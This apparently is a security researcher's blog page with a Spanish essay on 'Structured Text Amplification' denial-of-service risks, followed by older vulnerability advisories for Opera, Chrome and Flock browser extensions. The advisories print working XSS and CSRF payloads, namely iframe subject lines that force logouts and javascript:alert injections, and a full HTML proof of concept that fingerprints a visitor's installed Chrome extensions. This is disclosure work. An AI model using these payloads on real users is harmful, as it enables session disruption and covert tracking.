Showing posts with label extensions. Show all posts
Showing posts with label extensions. Show all posts

Structured Text Amplification (STA)

Tuesday, June 23, 2026
Structured Text Amplification (STA)
cuando un texto pequeño se convierte en un problema grande

El fenómeno que puede hacer que un simple mensaje, enlace o dato estructurado termine desestabilizando un sistema.

Introducción

¿Cómo puede un texto aparentemente inocente provocar que una aplicación deje de responder o incluso afectar a la estabilidad de un sistema entero?

La respuesta no siempre está en el tamaño del texto original, sino en lo que ocurre durante su recorrido por las capas internas del software. Un fenómeno que denomino Structured Text Amplification (STA) describe precisamente cómo determinados datos pueden crecer progresivamente al ser procesados, hasta superar límites que originalmente parecían muy lejanos.

Aunque hablamos de "texto", este fenómeno no se limita al texto plano. Puede producirse con cualquier información que atraviese múltiples capas de procesamiento: URLs, metadatos, estados de aplicaciones, formularios, mensajes o estructuras de datos complejas.

¿Qué es la Amplificación de Texto Estructurado?

La Amplificación de Texto Estructurado (Structured Text Amplification o STA) es un fenómeno que puede producirse cuando un dato atraviesa múltiples capas internas de una aplicación o de un sistema operativo. Durante ese recorrido, la información original puede aumentar significativamente de tamaño debido a procesos como la codificación, serialización, empaquetado, almacenamiento de estados o incorporación de metadatos.

En determinadas circunstancias, ese crecimiento acumulado puede provocar que los datos finales superen límites internos establecidos por el sistema para transportar, almacenar o procesar información. Cuando esto ocurre, pueden aparecer errores, bloqueos o problemas de estabilidad.

📌 Idea clave: No se trata necesariamente de un fallo aislado en una aplicación concreta, sino de un patrón arquitectónico que puede surgir cuando múltiples componentes procesan la misma información sin considerar el tamaño final que alcanzará tras todas las transformaciones.

¿Por qué ocurre?

Los sistemas modernos intercambian constantemente información entre procesos, servicios y componentes internos. Cada vez que un dato atraviesa una de estas capas, pueden realizarse operaciones como:

  • Conversión a formatos internos.
  • Codificación de caracteres.
  • Inclusión de metadatos.
  • Serialización para transporte o almacenamiento.
  • Empaquetado dentro de estructuras más complejas.
  • Conservación de estados para recuperación posterior.

Cada una de estas operaciones añade información adicional. Por separado, este crecimiento suele ser insignificante. Sin embargo, cuando múltiples capas realizan transformaciones sucesivas sobre los mismos datos, el tamaño total puede aumentar de forma considerable.

El problema aparece cuando cada componente valida únicamente el tamaño de los datos que recibe, mientras que ninguno evalúa el tamaño real que alcanzarán después de todas las transformaciones posteriores.

Un ejemplo sencillo

Imagina que quieres enviar una carta.

Primero introduces la hoja en un sobre. Después colocas ese sobre dentro de una caja para protegerlo. Más tarde, la caja se introduce dentro de otra mayor junto con documentación adicional. Finalmente, todo el conjunto se empaqueta para el transporte.

La carta original apenas ocupaba espacio, pero el paquete final resulta mucho más grande que el contenido inicial. La Amplificación de Texto Estructurado funciona de forma similar: el dato original puede ser relativamente pequeño, pero cada capa añade información hasta que el tamaño final supera las capacidades previstas por el sistema.

El factor de amplificación

Uno de los aspectos más importantes de este fenómeno es que el riesgo no depende únicamente del tamaño inicial. Un contenido aparentemente razonable puede experimentar múltiples expansiones sucesivas durante su procesamiento.

El resultado es un factor de amplificación acumulado que multiplica el tamaño efectivo de los datos. Por este motivo, el problema puede pasar desapercibido durante las validaciones iniciales. Cada componente observa únicamente una parte del proceso y puede considerar que el contenido es aceptable, mientras que el tamaño total continúa creciendo en etapas posteriores.

⚠️ En otras palabras: el riesgo no reside necesariamente en un dato grande, sino en un dato capaz de crecer mucho más de lo que parece.

¿Qué impacto puede tener?

Cuando el tamaño final supera determinados límites internos, pueden producirse distintos efectos:

  • Cierre inesperado de aplicaciones.
  • Pérdida temporal de funcionalidad.
  • Congelaciones o ralentizaciones importantes.
  • Errores durante la restauración de estados guardados.
  • Reinicios de componentes compartidos.
  • Fallos persistentes si el estado problemático queda almacenado y vuelve a cargarse posteriormente.

La gravedad depende de la arquitectura concreta, del componente afectado y de la forma en que el sistema gestione los errores.

¿Es un problema de seguridad? En determinados escenarios, sí.

Cuando un actor puede provocar deliberadamente que una aplicación o un componente alcance límites internos de procesamiento, almacenamiento o comunicación, el fenómeno puede convertirse en una vulnerabilidad de disponibilidad o denegación de servicio (DoS).

En estos casos, el objetivo no es acceder a información privada ni ejecutar código arbitrario, sino impedir que un servicio funcione correctamente o degradar significativamente su funcionamiento.

ℹ️ Relevancia: La importancia de este tipo de problemas aumenta cuando los mecanismos afectados son compartidos por múltiples aplicaciones o forman parte de componentes fundamentales del sistema operativo.

En algunos escenarios, basta con que un usuario interactúe con contenido especialmente diseñado para desencadenar estas amplificaciones acumulativas.

¿Por qué es difícil detectarlo?

La detección resulta especialmente compleja porque el dato original puede parecer completamente normal. Los mecanismos de validación suelen centrarse en el tamaño visible de la entrada, mientras que la amplificación aparece durante etapas internas de procesamiento.

Además, diferentes capas pueden utilizar representaciones distintas del mismo contenido, dificultando estimar cuál será el tamaño real una vez completado todo el recorrido. Como consecuencia, los controles pueden considerar seguro un contenido que terminará superando límites críticos varios pasos después.

¿Cómo puede mitigarse?

Existen diversas estrategias para reducir el riesgo:

  • Validar el tamaño después de las transformaciones críticas.
  • Establecer límites de seguridad conservadores.
  • Truncar o rechazar contenidos que puedan generar expansiones excesivas.
  • Gestionar adecuadamente los errores cuando se alcanzan límites internos.
  • Diseñar mecanismos de recuperación robustos.
  • Monitorizar el crecimiento de estructuras complejas durante su procesamiento.

Aunque las aplicaciones pueden adoptar medidas defensivas, muchas de las mitigaciones más eficaces requieren cambios en los propios mecanismos internos de las plataformas y sistemas operativos.

Conclusión

La Amplificación de Texto Estructurado (STA) describe un fenómeno por el cual un dato puede crecer significativamente de tamaño al atravesar múltiples capas de procesamiento dentro de una aplicación o sistema operativo.

El riesgo no proviene únicamente del tamaño inicial del contenido, sino de la suma de todas las transformaciones que se producen durante su recorrido. Cuando ese crecimiento acumulado supera los límites previstos por la plataforma, pueden aparecer problemas de estabilidad, errores de funcionamiento o vulnerabilidades de disponibilidad.

Aunque la mayoría de los usuarios nunca verán estos mecanismos internos, comprender cómo se producen estas amplificaciones permite identificar una categoría de fallos que suele pasar desapercibida durante el desarrollo. A medida que los sistemas modernos se vuelven más complejos y dependen de cadenas cada vez más largas de procesamiento, la gestión del crecimiento acumulado de los datos se convierte en un aspecto esencial para garantizar su robustez y resiliencia.

Parte de mi trabajo reciente en el análisis de vulnerabilidades móviles se ha centrado precisamente en este tipo de comportamientos emergentes, donde el problema no reside en un único componente defectuoso, sino en la interacción entre múltiples capas que, individualmente, parecen funcionar correctamente.

Atentamente,

Manuel Garcia Peña (Lostmon)

lostmon@gmail.com

https://lostmon.blogspot.com

#Lostmon #Android #AOSP #Ciberseguridad #MobileSecurity #SystemUI #libminikin #STA #StructuredTextAmplification #BugBounty #GoogleVRP #Xiaomi #HackerOne #SaludMental #InvestigaciónIndependiente #BojosXtu
Manuel Garcia Peña (Lostmon)
Investigador independiente · lostmon@gmail.com
Blog: lostmon.blogspot.com

Opera browser Speed dial Extensions XSS and CSRF

Tuesday, August 27, 2013
########################################
Opera Browser Speed Dial Extensions XSS and XSRF
Original advisore: http://lostmon.blogspot.com.es/2013/08/opera-browser-speed-dial-extensions-xss.html
########################################

############
Description:
############

Speed Dial gives you quick access to your favorite Web sites. Every time you open a new tab, you are presented with a 3x3 grid of thumbnails, each representing a Web address. To open a page, click on the corresponding thumbnail, or use the keyboard shortcuts. http://help.opera.com/Mac/10.50/en/speeddial.html

#########
Abstract
#########

Developers Build Extensions for fast access to web services like
Gmail, Flirk or Facebook.

Speed dial "protect users" to direct XSS attacks, but the extensions used in Speed ??Dial, are not free of bugs and some of them are not safe. A remote attacker could compose special attacks, for abusing the  functionality of these extensions in Speed Dial.


####################
Extensions for Gmail
####################

This two extenions show latest unread Emails from Gmail and are prone vulnerables to XSS & CSRF style atacks.

######
XSS:
######

If a attacker write a Email and in subject insert a html code it is executed in the extension.


















######
XSRF:
######

If a attacker compose a Email with subject like
 "><iframe src="https://mail.google.com/mail/?logout&hl=es"<>/iframe>
when the extension refresh content, it cause victim logout function.


https://addons.opera.com/es/extensions/details/gmail-on-speed-dial-ex/
https://addons.opera.com/es/extensions/details/gmail-on-speed-dial/

##############################
Extensions for Google Calendar
##############################

This Two extensions Show reminders and events from Google Calendar
and are prone vulnerables to XSS & CSRF style attacks

######
XSS:
######

If a attacker write a event in a shared calendar and in subject insert a html code it is executed in the extension.



######
XSRF:
######

If a attacker a event in a shared calendar with subject like
 "><iframe src="https://www.google.com/calendar/logout"<>/iframe>
when the extension refresh content, it cause victim logout function.


https://addons.opera.com/es/extensions/details/google-calendar/
https://addons.opera.com/es/extensions/details/gcaltoday/

################
Related Links
################

http://lostmon.blogspot.com.es/2010/09/google-chrome-instaled-extensions.html
http://www.osvdb.org/search?search[vuln_title]=lostmon%20extension&search[text_type]=alltext
http://www.oxdef.info/posts/2011/01/18/chrome-ext/
http://www.pcmag.com/article2/0,2817,2359778,00.asp


############## End ########################

##################
Solution
###################

No solution was available at this time !!!

 ################ €nd ####################

--
atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
La curiosidad es lo que hace mover la mente.... 

Multiple vulnerabilities in Flock Browser 3.0.0.3989

Friday, March 11, 2011
#########################################
Multiple vulnerabilities in Flock Browser 3.0.0.3989
Vendor URL: http://beta.flock.com/
Vendor Advisores: http://www.flock.com/security/
Advisore:http://lostmon.blogspot.com/2011/03/multiple-vulnerabilities-in-flock.html
Vendor notify:YES exploits availables:YES
#########################################

Some stuff that i don't have published before , because i don't have time , i'm studing and i need time to read books and study.

Flock is faster, simpler, and more friendly. Literally. It's the only sleek, modern web browser with the built-in ability to keep you up-to-date with your Facebook and Twitter friends. This browser version (3.0.0.3989) is based in a old chromium project (5.0.375.75) and has multiple bugs imported from chrome and his owns bugs :) 
I have contributed in secure Flock browser, i have tested version with google chrome  base.
I have do a list with all issues that i found and Flock Team has release some advisores about it time after.

###############
TODO LIST / Bugs
###############
  1.  Inspector window attributes script injection chrome bug 31590
  2.  XSS in search engine in chrome://history/ chrome bug 13760( not exploitable from remote attackers ) (chrome://history/#q="><iframe src=javascript:alert(1)>&p=0)
  3.  XSS in search box in favorites page ( chrome-extension://flock_people/favorites.html#p=1&v=all&o=0&s=title)(not explotable from remote attackers)
  4.  XSS in search engine extension when paste in url (chrome-extension://flock_people/search.html)( persistent xss)(not exploiable from remote attackers)
  5.  XSS in social extension when try to login in facebook or twiter or youtube (not exploitable from remote attackers)
  6.  XSS in rss vienwer in search box chrome-extension://flock_people/feed_viewer.html?http://path_to_rss ( not exploitable from remote attackers)
  7.  XSS in rss viewner when render xml from remote host if the entry has html it is executed when view the news across flock rss viewner(exploitable via remote sites) (see for example my feed => chrome-extension://flock_people/feed_viewer.html?http://lostmon.blogspot.com/atom.xml) and them if you type in search box for example " or < it executes again the xss stored in xml file :) 
  8. window.open() Method Javascript Same-Origin Policy Violation chrome bug 30660  
  9. url with a leading NULL byte can bypass cross origin protection Chrome bug 37383


###########################
Advisores from Flock developers
###########################
FLOCK-SA-2010-04

Title: window.open() Method Javascript Same-Origin Policy Violation (XSS)
Impact: High
Announced on: 2010-09-09
Affected Products: Flock 3 versions prior to 3.0.0.4094
CVEs (cve.mitre.org): CVE-2010-0661
Details:
WebCore/bindings/v8/custom/V8DOMWindowCustom.cpp in WebKit before r52401, as used in Google Chrome before 4.0.249.78, allows remote attackers to bypass the Same Origin Policy via vectors involving the window.open method.

Credit to Tokuji Akamine, Senior Consultant at Symantec Consulting Services (for Chromium) and Lostmon Lords (for Flock).
References: https://bugs.webkit.org/show_bug.cgi?id=32647
http://code.google.com/p/chromium/issues/detail?id=30660

FLOCK-SA-2010-03

Title: javascript: url with a leading NULL byte can bypass cross origin protection (XSS)
Impact: High
Announced on: 2010-09-09
Affected Products: Flock 3 versions prior to 3.0.0.4112
CVEs (cve.mitre.org): CVE-2010-1236

Details:
A javascript: url with a leading NULL byte can bypass cross origin protection,
which has unspecified impact and remote attack vectors.

Credit to kuzzcc (for Chromium) and Lostmon Lords (for Flock).
References: https://bugs.webkit.org/show_bug.cgi?id=35948
http://code.google.com/p/chromium/issues/detail?id=37383

FLOCK-SA-2010-02

Title: A malicious RSS feed can bypass cross origin protection (XSS)
Impact: High
Announced on: 2010-09-09
Affected Products: Flock 3 versions prior to 3.0.0.4114
CVEs (cve.mitre.org): CVE-2010-3262

Details:
A malicious RSS feed containg HTML when viewed can bypass cross-origin protection,
which has unspecified impact and remote attack vectors.
Credit to Lostmon Lords.

FLOCK-SA-2010-01

Title: A malformed favourite can bypass cross origin protection (XSS)
Impact: Moderate
Announced on: 2010-09-09
Affected Products: Flock 3 versions prior to 3.0.0.4094
CVEs (cve.mitre.org): CVE-2010-3202
Details:
A malformed favourite imported from an HTML file, imported from another browser,
or manually created can bypass cross-origin protection, which has unspecified impact
and attack vectors.
Credit to Lostmon Lords.
References: http://www.securityfocus.com/archive/1/513214
################################################

Atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
La curiosidad es lo que hace mover la mente....

Google Chrome Instaled extensions arbitrary detection

Tuesday, September 07, 2010
######################################################
Google Chrome Instaled extensions arbitrary detection
Vendor url: http://www.google.com
Advisore:http://lostmon.blogspot.com/2010/09/google-chrome-instaled-extensions.html
Vendor notify:YES vendor confirmed.YES exploit:YES
######################################################

Change log :http://googlechromereleases.blogspot.com/2010/09/stable-and-beta-channel-updates.html

#########
Abstract
#########

How safe is use extensions ?
a attacker can access via iframe to resource extensions ( at this moment i
don´t have found a way to altered information from extensions).

like
>iframe
src="chrome-extension://gffjhibehnempbkeheiccaincokdjbfe/options.html"<>/iframe<
for example...

a remote user can modify this web doc and call it with meta tag "base"
in a malformed doc...

<BASE HREF="chrome-extension://gffjhibehnempbkeheiccaincokdjbfe/">
so i thnik that chrome-extension need sanitizacion to don´t access internal
resources from external web pages..( file:/// and other protocols handlers
are safe to use and don´t give access to internal resources from external
web docs...)

So chrome-extension protocol handler can be used to get extensions instaled
on client browser...and them if any extension is vulnerable to something
this information can be used for exploit this extension...

In incognito mode Extensions can be detectable too

###########################
A sample PoC of detection
###########################

<html>
<head>
<title>Chrome extensions detector PoC By Lostmon</title>
<body>
<p><img src="chrome-extension://gffjhibehnempbkeheiccaincokdjbfe/icon_128.png"
onLoad="document.write('<br /><b>you have instaled Gmail checker
plus</b>');" onError="document.write('<br /><b>File not found</b>');"></p>
<p><img src="chrome-extension://bfbameneiokkgbdmiekhjnmfkcnldhhm/icons/16.png"
onLoad="document.write('<br /><b>you have instaled Web Developer</b>');"
onError="document.write('<br /><b>File not found</b>');"></p>
<p><img
src="chrome-extension://bjcpobipejlbogodeiendpdgcdambjgo/icons/icon-lightning-16.png"
onLoad="document.write('<br /><b>you have instaled My Shortcuts</b>');"
onError="document.write('<br /><b>File not found</b>');"></p>
<p><img src="chrome-extension://bmagokdooijbeehmkpknfglimnifench/firebug.jpg"
onLoad="document.write('<br /><b>you have instaled Firebug</b>');"
onError="document.write('<br /><b>File not found</b>');"></p>
<p><img
src="chrome-extension://ckibcdccnfeookdmbahgiakhnjcddpki/images/browseraction.png"
onLoad="document.write('<br /><b>you have instaled Webpage
Screenshot</b>');" onError="document.write('<br /><b>File not
found</b>');"></p>
<p><img
src="chrome-extension://dgpdioedihjhncjafcpgbbjdpbbkikmi/images/empty_preview.png"
onLoad="document.write('<br /><b>you have instaled Speed dial</b>');"
onError="document.write('<br /><b>File not found</b>');"></p>
<p><img
src="chrome-extension://jfchnphgogjhineanplmfkofljiagjfb/icon_16_16.png"
onLoad="document.write('<br /><b>you have instaled Downloads</b>');"
onError="document.write('<br /><b>File not found</b>');"></p>
</body>
</html>

####################EOF##########################

##############
Timeline
##############

Discovered:27 may 2010
Vendor notify:01 jun 2010
Vendor patch:02 sep 2010
disclosure: 07 sep 2010

#######################€ND ########################

Thnx To Climbo for his patience and support.

Atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
La curiosidad es lo que hace mover la mente....

Google Services Notifier Chrome extension XSS/CSRF

Friday, June 18, 2010
######################################
Google Services Notifier Chrome extension XSS/CSRF
extension:https://chrome.google.com/extensions/detail/dmgbflokapnkfnegeigclohhplnflgie
advisore:http://lostmon.blogspot.com/2010/06/google-services-notifier-chrome.html
Exploit available:yes vendor notify : NO
#######################################

So in this case "Notifier for Google Wave Chrome"
has a flaw that allow attackers to make XSS style attacks.

All extensions runs over his origin and no have way to altered data from extension
or get sensitive data like , email account or password etc..

if we look how many users have instaled this extension =>
https://chrome.google.com/extensions/detail/dmgbflokapnkfnegeigclohhplnflgie
109 users have instaled it (WoW)

############
explanation
############

Google Services Notifier allows users to view wen they have a new wave and
view a preview of it ....

"Keep you update with Google services like Google Mail,Blogger,Reader,YouTube,
Google Docs, Google Wave etc. More services will be added soon."

If a attacker compose a new mail with html or javascript code in
subject & send it to victim´s the code is executed wen Victim´s click in the
extension to view a preview of mail.

So for exploit we need to compose a "special" mail
for example if we put directly in the mail subject a iframe like
"><iframe src="javascript:alert(location.href);"></iframe>
in the two cases the alert is executed wen try to preview the mail
with the extension :) it is executed in context location.href value is
"about:blank"

For example send a mail With a logout acction in google wave in body
"><iframe src="https://wave.google.com/wave/logout"></iframe>
it closes the sesion on google wave , this is a CSRF.

######################€nd#################################
.
Thnx for your time !!!
atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
La curiosidad es lo que hace mover la mente....

Notifier for Google Wave Chrome extension XSS/CSRF

######################################
Notifier for Google Wave Chrome extension XSS/CSRF
extension:https://chrome.google.com/extensions/detail/aphncaagnlabkeipnbbicmcahnamibgb
advisore:http://lostmon.blogspot.com/2010/06/notifier-for-google-wave-chrome.html
Exploit available:yes vendor notify : NO
#######################################

So in this case "Notifier for Google Wave Chrome"
has a flaw that allow attackers to make XSS style attacks.

All extensions runs over his origin and no have way to altered data from extension
or get sensitive data like , email account or password etc..

if we look how many users have instaled this extension =>
https://chrome.google.com/extensions/detail/aphncaagnlabkeipnbbicmcahnamibgb
56,542 users have instaled it (WoW)

############
explanation
############

Notifier for Google Wave allows users to view wen they have a new wave and
view a preview of it ....

If a attacker compose a new wave with html or javascript code in
body & send it to victim´s the code is executed wen Victim´s click in the
extension to view a preview of wave.

So for exploit we need to compose a "special" wave
for example if we put directly in the mail body a iframe like
"><iframe src="javascript:alert(location.href);"></iframe>
in the two cases the alert is executed wen try to preview the wave
with the extension :) it is executed in context location.href value is
"about:blank"

For example send a wave With a logout acction in google wave in body
"><iframe src="https://wave.google.com/wave/logout"></iframe>
it closes the sesion on google wave , this is a CSRF.

######################€nd#################################
.

Thnx for your time !!!

atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
La curiosidad es lo que hace mover la mente....
 

Browse

About:Me

My blog:http://lostmon.blogspot.com
Mail:Lostmon@gmail.com
Lostmon Google group
Lostmon@googlegroups.com

La curiosidad es lo que hace
mover la mente...

Friends